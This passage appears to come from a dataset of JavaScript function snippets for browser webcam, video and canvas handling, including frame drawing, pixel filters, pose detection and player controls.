audioContext.createMediaStreamSource(localMediaStream);\n //audioInput.connect(audioContext.destination);\n // had to replace the above with the following to mute playback\n // (so you don't get feedback)\n var audioGain = audioContext.createGain();\n audioGain.gain.value = 0;\n audioInput.connect(audioGain);\n audioGain.connect(audioContext.destination);\n\n audioRecorder = new Recorder(audioInput);\n mediaStream = localMediaStream;\n mediaInitialized = true;\n\n document.getElementById('uploading').hidden = true;\n document.getElementById('media-error').hidden = true;\n document.getElementById('record').hidden = false;\n },\n function (e) {\n console.log('web-cam & microphone not initialized: ', e);\n document.getElementById('media-error').hidden = false;\n }\n );\n }\n}","function init(){\n W = canvas.width = window.innerWidth;\n H = canvas.height = window.innerHeight;\n\n // getting all the frames into the array of frames\n loadFrames();\n // creating the origin object\n origin = new Origin();\n}","function setUpCanvas() {\n /* clearing up the screen */\n clear();\n /* Set display size (vw/vh). */\n var sizeWidth = (80 * window.innerWidth) / 100,\n sizeHeight = window.innerHeight;\n //Setting the canvas site and width to be responsive\n upperLayer.width = sizeWidth;\n upperLayer.height = sizeHeight;\n upperLayer.style.width = sizeWidth;\n upperLayer.style.height = sizeHeight;\n lowerLayer.width = sizeWidth;\n lowerLayer.height = sizeHeight;\n lowerLayer.style.width = sizeWidth;\n lowerLayer.style.height = sizeHeight;\n rect = upperLayer.getBoundingClientRect();\n}","function setup() {\n createCanvas(640, 480);\n\n video = createCapture(VIDEO);\n video.size(width, height);\n\n // Create a new poseNet method with a single detection\n poseNet = ml5.poseNet(video, modelReady);\n // This sets up an event that fills the global variable \"poses\"\n // with an array every time new poses are detected\n poseNet.on('pose', function(results) {\n poses = results;\n debugger;\n });\n // Hide the video element, and just show the canvas\n video.hide();\n}","function initVideo(){\n\t\t//fit all videos in their parent container\n\t\tjQuery(\".scalevid\").fitVids();\n\t}","function initCanvasAndEditor() {\n // Editor\n initEditor();\n\n // Canvas\n canvasResizer();\n renderCanvas();\n\n // Listeners\n addListeners();\n}","run() {\n requestAnimationFrame(() => {\n this.runFrame();\n });\n\n this.output.video.run();\n\n this.running = true;\n this.paused = false;\n }","function init() \n {\n\t\t\n\t\t// initialize variables\n\t\tvideo = document.getElementById(\"video1\");\n\t\tcanvas = document.getElementById(\"canvas\");\n\t\ttime_slider = document.getElementById(\"time_slider\");\n label_CurrenFrame = document.getElementById(\"currentFrameTime\");\n label_VideoLength = document.getElementById(\"videoLength\");\n\t\tprevious_frame = document.getElementById(\"previousFrame\");\n\t\tnext_frame = document.getElementById(\"nextFrame\");\n\t\tcontainer = document.getElementById(\"container\");\n\t\tcreate_sum = document.getElementById(\"submit\");\n\t\t\n //initialize events\n\t\tcanvas.addEventListener(\"click\", saveFrame, false);\n\t\tcanvas.addEventListener(\"mousemove\", mouseMove, false);\n\t\ttime_slider.addEventListener(\"change\", UpdateFrame, false);\n\t\ttime_slider.addEventListener(\"input\", UpdateFrame, false);\n\t\t\n\t\tdocument.getElementById('files').addEventListener('change', FileChosen);\n\t\tdocument.getElementById('UploadButton').addEventListener('click', StartUpload); \n\t\t\n video.addEventListener('loadeddata', function () {\n label_CurrenFrame.innerHTML = secondsToTimeString(video.currentTime);\n label_VideoLength.innerHTML = secondsToTimeString(video.duration);\n });\n \n\t\tprevious_frame.addEventListener('click', \n\t\tfunction() {\n\t\t\tif (actual_frame === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (isUndefined(actual_frame)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (actual_frame.second <= 0) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar value = Math.floor((actual_frame.second - 1) * 100 / video.duration);\n\t\t\tif (value >= 0 && value <= 100) {\n\t\t\t\tactual_frame.second--;\n\t\t\t\ttime_slider.value = value;\n\t\t\t\tdrawFrame(actual_frame);\n\t\t\t}\n\t\t},\n\t\tfalse);\n\t\t\n\t\tnext_frame.addEventListener('click', \n\t\tfunction() {\n\t\t\tif (actual_frame === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (video === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (isUndefined(actual_frame) || isUndefined(video) || isUndefined(video.duration)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (actual_frame.second >= video.duration) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar value = Math.floor((actual_frame.second + 1) * 100 / video.duration);\n\t\t\tif (value >= 0 && value <= 100) {\n\t\t\t\tactual_frame.second++;\n\t\t\t\ttime_slider.value = value;\n\t\t\t\tdrawFrame(actual_frame);\n\t\t\t}\n\t\t},\n\t\tfalse);\n\t\t\n\t\tdocument.getElementById('submit').addEventListener('click', \n\t\tfunction() {\n\t\t\tupdateDescriptions();\n\t\t\tvar result = combineSegments();\n\t\t\tconsole.log(result);\n\t\t\t// send result to server!\n \t\t\tsocket.emit('ffmpeg', { 'Name' : SelectedFile.name, 'Data' : result });\n\t\t\tdocument.getElementById(\"create_progress\").innerHTML='Creating summary... 0%';\n \n\t\t\tResetSegments();\n\t\t},\n\t\tfalse);\n\t\t\n\t\t// initialize player\n\t\tinitPlayer();\n\t\n\t}","function initialize() {\n // will create HTML5 video element in staging area if not present\n getDOMVideo();\n isInitialized = true;\n }","async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}","function drawFrameOnCanvas(frame) {\n\t\n\t\tvar reset = frame.reset;\n\t\n canvas.height = video.videoHeight;\n canvas.width = video.videoWidth;\n\t\t// retrieve context for drawing\n\t\tvar context = canvas.getContext(\"2d\");\n\t\t\t\t\n\t\t// Start by clearing the canvas\n\t\tcontext.clearRect(0, 0, canvas.width, canvas.height);\n\t\t\n\t\t// draw frame according to time\n\t\t\n\t\tif (reset) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tcontext.drawImage(video, 0, 0, canvas.width, canvas.height);\n \n }","function renderUIAfterFrameChange(videoNode) {\n\n const video = videoNode.data.videoCore\n\n /* Rendering the current time bar */\n renderCurrentPlaybackBar(videoNode)\n\n /* Updating the canvas resolution */\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\n\n if (alpha1 < alpha2) {\n canvas.width = video.videoWidth + alpha1\n canvas.height = video.videoHeight\n } else {\n canvas.width = video.videoWidth\n canvas.height = video.videoHeight + alpha2\n }\n\n canvasRatio = canvas.width / canvas.height\n videoRatio = video.videoWidth / video.videoHeight\n\n currentVideoDurationLabel.innerText = formatTimeFromSeconds((\n videoNode.data.metadata.baseDuration - videoNode.data.metadata.startTime + video.currentTime\n ).toFixed(2))\n \n if (videoNode.data.metadata.ratio == 'fit') {\n if (window.currentRatio == 'strech') {\n document.querySelector('.toogle-fit').click()\n }\n context.drawImage(\n video, canvas.width / 2 - videoRatio * canvas.height / 2, 0, videoRatio * canvas.height, canvas.height\n ) \n } else if (videoNode.data.metadata.ratio == 'strech') {\n if (window.currentRatio === 'fit') {\n document.querySelector('.toogle-strech').click()\n }\n context.drawImage(\n video, 0, 0, canvas.width, canvas.height\n )\n }\n}","function init() {\n\t\t\tconstructVideoPlayerContent(elems.container);\n\t\t\tshowControls();\n\t\t\t_.event(elems.btnBigPlay, 'click', play);\n\t\t\t_.event(elems.buttons.play, 'click', playPause);\n\t\t\t_.event(elems.video, 'click', pause);\n\t\t\t_.event(elems.buttons.volume, 'click', mute);\n\t\t\t_.event(elems.buttons.fullscreen, 'click', fullscreen);\n\t\t\t_.event(elems.video, 'loadedmetadata', function(e) {\n\t\t\t\tplaybackRate(opts.speed);\n\t\t\t\tvideoProgress = new Range(opts.progress / elems.video.duration, elems.ranges.video, {\n\t\t\t\t\tonDrop: (pct) => progress(pct, true),\n\t\t\t\t});\n\t\t\t\tvolumeSlider = new Range(opts.volume, elems.ranges.volume, {\n\t\t\t\t\tonDrag: volume,\n\t\t\t\t});\n\t\t\t\tvolume(opts.volume);\n\t\t\t\tprogress(opts.progress);\n\t\t\t\ttimestamp(0, elems.video.duration);\n\t\t\t\tif (opts.autoplay) play();\n\t\t\t});\n\t\t\t_.event(elems.video, 'timeupdate', progUpdate);\n\t\t\t_.event(elems.main, 'mousemove', showControls);\n\t\t\t_.event(elems.controls, 'mouseenter', () => showControls(true));\n\t\t\t_.event(elems.controls, 'mouseleave', () => showControls(false));\n\t\t\t_.event(window, 'keyup', handleKeyPress);\n\t\t\t_.event(document, 'fullscreenchange', handleFullscreenChange); // PREFIXES WHY\n\t\t\t_.event(document, 'msfullscreenchange', handleFullscreenChange);\n\t\t\t_.event(document, 'mozfullscreenchange', handleFullscreenChange);\n\t\t\t_.event(document, 'webkitfullscreenchange', handleFullscreenChange);\n\n\t\t\tif (opts.fullscreen) fullscreen(true);\n\t\t\telems.video.src = opts.src;\n\t\t}","function setup() {\n // set up canvas\n let canvas = createCanvas(canvasW, canvasH);\n canvas.parent('canvas');\n\n}","init() {\n this.isCanvasSupported() ? this.ctx = this.canvas.getContext('2d') : false;\n\n if (this.ctx) {\n this.playBtn.addEventListener('click', () => {\n this.playBtn.classList.add('active');\n this.startTheGame();\n });\n\n this.retryBtn.addEventListener('click', () => {\n this.reset();\n this.retryBtn.classList.add('inactive');\n this.startTheGame();\n });\n }\n }","initBoard() {\n this.canvas = document.createElement('canvas');\n this.ctx = this.canvas.getContext('2d');\n this.width = this.canvas.width = this.tileWidth * this.columns;\n this.height = this.canvas.height = this.tileHeight * this.rows;\n this.canvas.style.border = \"none\";\n this.initStage();\n }","function initialize() {\n webcamElement = document.getElementById('webcam');\n canvasElement = document.getElementById('canvas');\n webcam = new Webcam(webcamElement, 'user', canvasElement);\n snapButtonElement = document.getElementById('capture');\n startButtonElement = document.getElementById('retake');\n}","function videoReady() { }","setUpCanvas(){\n var w = window.innerWidth;\n var h = window.innerHeight;\n this.$canvas = $(`\\n ccwc-video {\\n display: inline-block;\\n background-color: black;\\n position: relative;\\n overflow: hidden;\\n }\\n \\n ccwc-video > canvas {\\n position: absolute;\\n }\\n \\n ccwc-video > video {\\n position: absolute;\\n }\\n \\n\\n \\n `;\\n }\",\n \"async function populateVideo() {\\n // We grab the feed off the user's webcam\\n const stream = await navigator.mediaDevices.getUserMedia({\\n video: { width: 1280, height: 720 },\\n });\\n\\n // We set the object to be the stream\\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\\n await video.play();\\n\\n // size the canvases to be the same size as the video\\n console.log(video.videoWidth, video.videoHeight);\\n\\n canvas.width = video.videoWidth;\\n canvas.height = video.videoHeight;\\n\\n faceCanvas.width = video.videoWidth;\\n faceCanvas.height = video.videoHeight;\\n}\",\n \"function paintToCanvas() {\\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\\n // Since the width of the photobooth is appx 1330px \\n // the canvas will also take width of 1330px\\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\\n // therefore you can change the aspect ratio by changing the width and height of the canvas\\n // if you remove the width 100% from its css , it will regain the size of 640*480\\n\\n // width and height = 640 * 480 \\n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\\n // setting canvas width and height = 640*480\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n [canvas.width, canvas.height] = [width, height];\\n\\n // the video playing in the canvas is not a actual video\\n // but rather a image showing every few millisecond (giving us a video like visual)\\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\\n return setInterval(() => {\\n // ctx.drawImage will draw the image captured from the video feed\\n // 0,0 are the x and y coordinate of the top left corner of the canvas\\n // it will indicate that from which point the image drawing will start\\n // width and height is of the destination contex(canvas)\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\\n\\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \\n // pixels will store the image data in form of array of rgb values for individual pixels\\n let pixels = ctx.getImageData(0, 0, width, height);\\n\\n // Rendering different effects for the pixels\\n // Every image captured from the video feed every 16ms will go through these function everytime\\n // The pixels returned by these function will have different rgb values as compared to the original pixels\\n\\n // This is for red filter\\n // pixels = redEffect(pixels);\\n\\n // This is for rgbSplit(tiktok) filter\\n // pixels = rgbSplit(pixels);\\n\\n // This is for green screen\\n pixels = greenScreen(pixels);\\n\\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\\n // ctx.globalAlpha = 0.8\\n\\n // this will put the modified pixels back into the canvas\\n // thus showing the filter on the video\\n ctx.putImageData(pixels, 0, 0)\\n }, 16);\\n}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\\n ctx.fillStyle = '#000000';\\n ctx.fillRect(0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\\n ctx.lineWidth = 5;\\n ctx.fillStyle = '#00FFFF';\\n ctx.strokeStyle = '#00FFFF';\\n\\n // We can call both functions to draw all keypoints and the skeletons\\n drawKeypoints();\\n drawSkeleton();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function installcanvas () {\\n\\n // if there's an iframe\\n var iframe = document.getElementById('tool_content');\\n if (iframe) {\\n \\t\\taddEventListener(\\\"message\\\", installfromiframe('#content', 'about:blank', ''), false);\\n } \\n \\n // multiple videos as per\\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \\n else {\\n\\n // video locations that may need a click to access \\n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\\n // known video locations\\n var matches = document.body.innerHTML.match(/me_flash_\\\\d_container/g);\\n\\n // if any known videos exist, launch those\\n if (matches) {\\n\\n // loop through all known videos\\n for (var i = 0; i < matches.length; i++) {\\n\\n // pull out the video number\\n matches[i] = matches[i].replace(/\\\\D/g, \\\"\\\");\\n\\n // parameters for the videoplayer\\n var parameter = {};\\n\\n // only supporting mp4 at the moment\\n parameter.audio = false;\\n\\n // set number for video classes \\n parameter.number = matches[i];\\n\\n // get source for available video\\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\\n if (parameter.source) {\\n\\n // get locally stored data \\n var hist = JSON.parse(localStorage.getItem(parameter.source));\\n if (hist) {\\n parameter.time = hist.time;\\n }\\n\\n // prepare new container\\n var container = $('');\\n\\n // maximize player's width\\n container.css('margin', '10px 0 0 0');\\n container.css('padding', '0');\\n container.css('width', '100%');\\n parameter.playing = false;\\n\\n // find if the video is playing\\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\\n parameter.playing = true;\\n }\\n\\n // replace old container with new\\n $('#mep_' + matches[i]).replaceWith(container);\\n\\n // install player\\n install(container, parameter);\\n }\\n }\\n }\\n\\n // click on all possible video containers, watch if things change\\n if (containers.length != 0) {\\n\\n // watch for changes for each container\\n for(var i = 0; i < containers.length; i++) {\\n\\n // use mutation observer as per \\n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\\n var observer = new MutationObserver(function (mutations) {\\n mutations.forEach(function (mutation) {\\n\\n // see if changes are to the child of the container\\n if (mutation.type === 'childList') {\\n\\n // look through each child\\n Array.prototype.forEach.call(mutation.target.children, function (child) {\\n\\n // match (only once per video) -- same code as if (matches) branch\\n matches = document.body.innerHTML.match(/me_flash_\\\\d_container/g);\\n if (matches) {\\n for (var i = 0; i < matches.length; i++) {\\n matches[i] = matches[i].replace(/\\\\D/g, '');\\n\\n // parameters for the videoplayer\\n var parameter = {};\\n parameter.audio = false;\\n\\n // set number for video classes \\n parameter.number = matches[i];\\n\\n // get source for available video\\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\\n if (parameter.source) {\\n\\n // get locally stored data for time\\n var hist = JSON.parse(localStorage.getItem(parameter.source));\\n if (hist) {\\n parameter.time = hist.time;\\n }\\n\\n // prepare new container\\n var container = $('');\\n\\n // maximize player's width\\n container.css('margin', '10px 0 0 0');\\n container.css('padding', '0');\\n container.css('width', '100%');\\n\\n // replace old container with new\\n $('#mep_' + matches[i]).replaceWith(container);\\n\\n parameter.playing = false;\\n\\n // install player\\n install(container, parameter);\\n }\\n }\\n }\\n });\\n }\\n });\\n });\\n\\n // actually start observing\\n observer.observe(containers[i], {\\n childList: true,\\n characterData: true,\\n subtree: true\\n });\\n }\\n\\n // simulate click, waits for link to appear\\n $('.media_comment_thumbnail').click(); \\n } \\n\\n // no possible video containers, apologize\\n else {\\n apologize();\\n }\\n }\\n}\",\n \"function init() {\\n\\t\\tconsole.log('init');\\n\\t\\t// Put event listeners into place\\n\\t\\t// Notice that in this specific case handlers are loaded on the onload event\\n\\t\\twindow.addEventListener(\\n\\t\\t\\t'DOMContentLoaded',\\n\\t\\t\\tfunction() {\\n\\t\\t\\t\\t// Grab elements, create settings, etc.\\n\\t\\t\\t\\tvar canvas = document.getElementById('canvas');\\n\\t\\t\\t\\tvar context = canvas.getContext('2d');\\n\\t\\t\\t\\t// context.transform(3,0,0,1,canvas.width,canvas.heigth);\\n\\t\\t\\t\\tvar video = document.getElementById('video');\\n\\t\\t\\t\\tvar mediaConfig = {\\n\\t\\t\\t\\t\\tvideo: true\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\tvar errBack = function(e) {\\n\\t\\t\\t\\t\\tconsole.log('An error has occurred!', e);\\n\\t\\t\\t\\t};\\n\\n\\t\\t\\t\\tlet aspectRatio = 2;\\n\\n\\t\\t\\t\\t// Put video listeners into place\\n\\t\\t\\t\\tif (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\\n\\t\\t\\t\\t\\tnavigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\\n\\t\\t\\t\\t\\t\\taspectRatio = stream.getVideoTracks()[0].getSettings().aspectRatio;\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Trigger photo take\\n\\t\\t\\t\\tdocument.getElementById('snap').addEventListener('click', function() {\\n\\t\\t\\t\\t\\tdocument.getElementsByClassName('canvas-container')[0].style.visibility = 'visible';\\n\\t\\t\\t\\t\\tlet heigth = 480;\\n\\n\\t\\t\\t\\t\\tcontext.save();\\n\\t\\t\\t\\t\\tcontext.translate(480 * aspectRatio, 0);\\n\\t\\t\\t\\t\\tcontext.scale(-1, 1);\\n\\t\\t\\t\\t\\tcontext.drawImage(video, 0, 0, aspectRatio * heigth, heigth);\\n\\t\\t\\t\\t\\tcontext.restore();\\n\\t\\t\\t\\t\\tstate.photoSnapped = true; // photo has been taken\\n\\t\\t\\t\\t});\\n\\n\\t\\t\\t\\t// Trigger when upload button is pressed\\n\\t\\t\\t\\tif (document.getElementById('upload'))\\n\\t\\t\\t\\t\\tdocument.getElementById('upload').addEventListener('click', () => {\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t\\t// uploadImage();\\n\\t\\t\\t\\t\\t\\tselectImage();\\n\\t\\t\\t\\t\\t});\\n\\n\\t\\t\\t\\tif (document.getElementById('upload_search'))\\n\\t\\t\\t\\t\\tdocument.getElementById('upload_search').addEventListener('click', () => {\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t\\t// searchImage();\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t},\\n\\t\\t\\tfalse\\n\\t\\t);\\n\\t}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, 640, 480);\\n // We can call both functions to draw all keypoints and the skeletons\\n drawKeypoints();\\n drawSkeleton();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function startVideo(){\\n canvas.width = video.videoWidth;\\n canvas.height = video.videoHeight;\\n canvas.getContext('2d').\\n drawImage(video, 0, 0, canvas.width, canvas.height);\\n $scope.sendPicture();\\n}\",\n \"function paintToCanvas() {\\n // We need to make sure canvas and video are the same width/height\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n canvas.width = width;\\n canvas.height = height;\\n\\n // Every couple seconds, take image from webcam and put it onto canvas\\n return setInterval(() => {\\n // drawImage: pass it an image/video and it will place it on the canvas\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // Take pixels out\\n let pixels = ctx.getImageData(0, 0, width, height); // huge array of pixels\\n\\n // Play around with pixels\\n switch (this.className) {\\n case 'red':\\n pixels = redEffect(pixels);\\n break;\\n case 'split':\\n ctx.globalAlpha = 0.1;\\n pixels = rgbSplit(pixels);\\n break;\\n case 'green':\\n pixels = greenScreen(pixels);\\n }\\n\\n // Put pixels back into canvas\\n ctx.putImageData(pixels, 0, 0);\\n }, 16);\\n}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n drawKeypoints();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function currentFrameCanvas(){\\n let video = document.getElementById(\\\"video_id\\\");\\n canvas = document.getElementById('screenShot');\\n canvas.width = width;\\n canvas.height = height;\\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\\n}\",\n \"function drawCameraIntoCanvas() {\\n\\n // draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, video.width, video.height);\\n \\n if (body) {\\n // draw circle for left and right Eye\\n const leftWrist = body.getBodyPart(bodyParts.leftWrist);\\n const rightWrist = body.getBodyPart(bodyParts.rightWrist);\\n\\n\\n\\n // draw left Eye\\n ctx.beginPath();\\n ctx.arc(leftWrist.position.x, leftWrist.position.y, 5, 0, 2 * Math.PI);\\n ctx.fillStyle = 'white';\\n ctx.fill();\\n\\n // draw right Eye\\n ctx.beginPath();\\n ctx.arc(rightWrist.position.x, rightWrist.position.y, 5, 0, 2 * Math.PI);\\n ctx.fillStyle = 'white';\\n ctx.fill();\\n\\n\\n ctx.beginPath();\\n ctx.moveTo(leftWrist.position.x,leftWrist.position.y);\\n ctx.lineTo(rightWrist.position.x,rightWrist.position.y, 150);\\n ctx.lineWidth = 10;\\n ctx.strokeStyle = 'white';\\n ctx.stroke();\\n }\\n requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function createCanvas() {\\n // console.log(parseInt(pixelByPixel.value));\\n selectedFrameData = null;\\n selectedFrameData = {};\\n layerCount = 0;\\n framesArray = [],\\n currentFrame = 0,\\n playbackRunning = false,\\n playbackInterval = null,\\n unsavedFrame = false;\\n removeListeners();\\n resetFrames();\\n resetLayers();\\n resetSelectionState();\\n addDisplayFrame(0);\\n setCurrentFrame(0);\\n initCanvas(\\\"2d\\\", parseInt(pixelByPixel.value));\\n}\",\n \"function paintToCanvas() {\\n // get the width and height of the actual live feed video\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n\\n // set canvas width and height to be the same as the live feed video\\n canvas.width = width;\\n canvas.height = height;\\n\\n // every 16ms, take the image from the webcam and put it into the canvas\\n return setInterval(() => {\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // take the pixels out\\n let pixels = ctx.getImageData(0, 0, width, height);\\n\\n // mess with them\\n // pixels = redEffect(pixels);\\n\\n // pixels = redSplit(pixels);\\n // ctx.globalAlpha = 0.8;\\n\\n pixels = greenScreen(pixels);\\n\\n // put them back\\n ctx.putImageData(pixels, 0, 0);\\n }, 16);\\n}\",\n \"function initPreview() {\\n\\t\\n\\t//clear the canvas first\\n\\tcanvasPreviewContext.clearRect(0, 0, canvasPreview.width, canvasPreview.height);\\n\\t\\n\\t//what file type are we dealing with\\n\\tif (fileType == \\\"VIDEO\\\") {\\n\\t\\t\\n\\t\\tsampleWidth = 50;\\n\\t\\tsampleHeight = Math.floor((9/16)*sampleWidth);\\n\\t\\tvideoArea.width = sampleWidth;\\n\\t\\tvideoArea.height = sampleHeight;\\n\\t\\t\\n\\t\\t//reset size of the canvas\\n\\t\\tcanvasPreview.width = sampleWidth;\\n\\t\\tcanvasPreview.height = sampleHeight;\\n\\t\\tpreviewArea.style.width = sampleWidth + \\\"px\\\";\\n\\t\\tpreviewArea.style.height = sampleHeight + \\\"px\\\";\\n\\t\\t\\n\\t\\t//set the video in the videoArea so it starts playing\\n\\t\\tvideoArea.type = file.type;\\n\\t\\tvideoArea.src = fileURL;\\n\\t\\t\\n\\t\\t//set fileWidth\\n\\t\\tfileWidth = sampleWidth;\\n\\t\\tfileHeight = sampleHeight;\\n\\t\\t\\n\\t\\t//make a sample first\\n\\t\\t/*canvasPreviewContext.drawImage(videoArea, 0, 0, videoArea.width, videoArea.height);*/\\n\\t\\t\\n\\t\\t//initBuffers();\\n\\t\\t\\n\\t\\t\\n\\t\\t/*document.onclick = function() {\\n\\t\\t\\tinitCubes();\\n\\t\\t}*/\\n\\t\\t\\n\\t\\t//keep updating cubes based on the options\\n\\t\\t//startUpdateCubesInterval();\\n\\t\\tsetTimeout(initPlanes, 2000);\\n\\t\\tstartUpdatePlanesInterval();\\n\\t\\tstopUpdateCubesInterval();\\n\\t\\t\\n\\t\\t//keep rendering the screen based on mouse/camera position\\n\\t\\tstartThreeInterval();\\n\\n\\t\\t\\n\\t} else if (fileType == \\\"IMAGE\\\") {\\n\\t\\t\\n\\t\\t\\n\\t\\tsampleWidth = 30;\\n\\t\\tsampleHeight = Math.floor((9/16)*sampleWidth);\\n\\t\\t\\n\\t\\t//load the image data and display in the preview\\n\\t\\tvar img = new Image();\\n\\t\\timg.onload = function() {\\n\\n\\t\\t\\t//get the image dimensions so we can drawImage at the right aspect ratio\\n\\t\\t\\tsetNewFileDimensions(img);\\n\\t\\t\\t\\n\\t\\t\\t//draw the image onto the canvas\\n\\t\\t canvasPreviewContext.drawImage(img, 0, 0, fileWidth, fileHeight);\\n\\t\\t\\t\\n\\t\\t\\t//initBuffers();\\n\\t\\t\\tinitCubes();\\n\\t\\t\\t//initPlanes();\\n\\t\\t\\t\\n\\t\\t\\t//keep updating cubes based on the options\\n\\t\\t\\tstartUpdateCubesInterval();\\n\\t\\t\\tstopUpdatePlanesInterval();\\n\\t\\t\\t\\n\\t\\t\\t//keep rendering the screen based on mouse/camera position\\n\\t\\t\\tstartThreeInterval();\\n\\n\\t\\t}\\n\\t\\t\\n\\t\\t//set the src of our new file\\n\\t\\timg.src = fileURL;\\n\\t\\t\\n\\t\\t//we should clear the video tag\\n\\t\\tvideoArea.type = \\\"\\\";\\n\\t\\tvideoArea.src = \\\"\\\";\\n\\t\\tvideoArea.pause();\\n\\t\\t\\n\\t\\t//we should stop sampling the video if its there\\n\\t\\tstopSamplingVideo();\\n\\t\\t\\n\\t}\\n\\t\\n}\",\n \"function FrameInitalizer(canvas, form, video, options) {\\n //Opt parse.\\n options = options || {};\\n this.drawFrame = options.override_frame_draw || this._drawFrame\\n this.drawImage = options.override_image_draw || this._drawImage\\n this.drawPolygons = options.override_polygon_draw || this._drawPolygons\\n //I might add a string to the OnChange functions that says where they were called from.\\n //I could also add stuff like OnClear or whatever, not really sure I wanna go for that.\\n //A return a reference to the previous state?\\n //You shouldn't need these unless you do web worker stuff anyways.\\n this.onImageChange = options.on_image_change_functor || (function(self) {\\n return; //self.drawFrame() //Do nothing, if they want to draw on every update, let them set this.\\n });\\n this.onPolygonChange = options.on_polygon_change_functor || (function(self) {\\n return; //self.drawFrame(); //Do nothing, if they want to draw on every update, let them set this.\\n });\\n this.source = options.source || null;\\n this.number_of_frames = options.number_of_frames || 1;\\n //Mandatory positional args.\\n this.canvas = canvas;\\n this.form = form;\\n this.video = video; //video element;\\n this.frames = [new _FrameTracker(0)];\\n this.frame_index = 0;\\n this.updateFrameList(1);\\n }\",\n \"function initialize() {\\n // Create a canvas element to which we will copy video.\\n canvas = document.createElement('canvas');\\n var webcamDimensions = webcam.getDimensions();\\n canvas.width = webcamDimensions.width;\\n canvas.height = webcamDimensions.height;\\n\\n // We need a context for the canvas in order to copy to it.\\n context = canvas.getContext('2d');\\n\\n // create an AR Marker detector using the canvas as the data source\\n detector = ardetector.create( canvas );\\n\\n // Create an AR View for displaying the augmented reality scene\\n view = arview.create( webcam.getDimensions(), canvas );\\n\\n // Set the ARView camera projection matrix according to the detector\\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\\n\\n // Place the arview's GL canvas into the DOM.\\n document.getElementById(\\\"application\\\").appendChild( view.glCanvas );\\n }\",\n \"function setup() {\\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\\n background(0);\\n stroke(0, 255, 0);\\n noFill();\\n\\n // make sure the framerate is the same between sending and receiving\\n frameRate(30);\\n\\n // Set to true to turn on logging for the webrtc client\\n WebRTCPeerClient.setDebug(true);\\n\\n // To connect to server over public internet pass the ngrok address\\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\\n 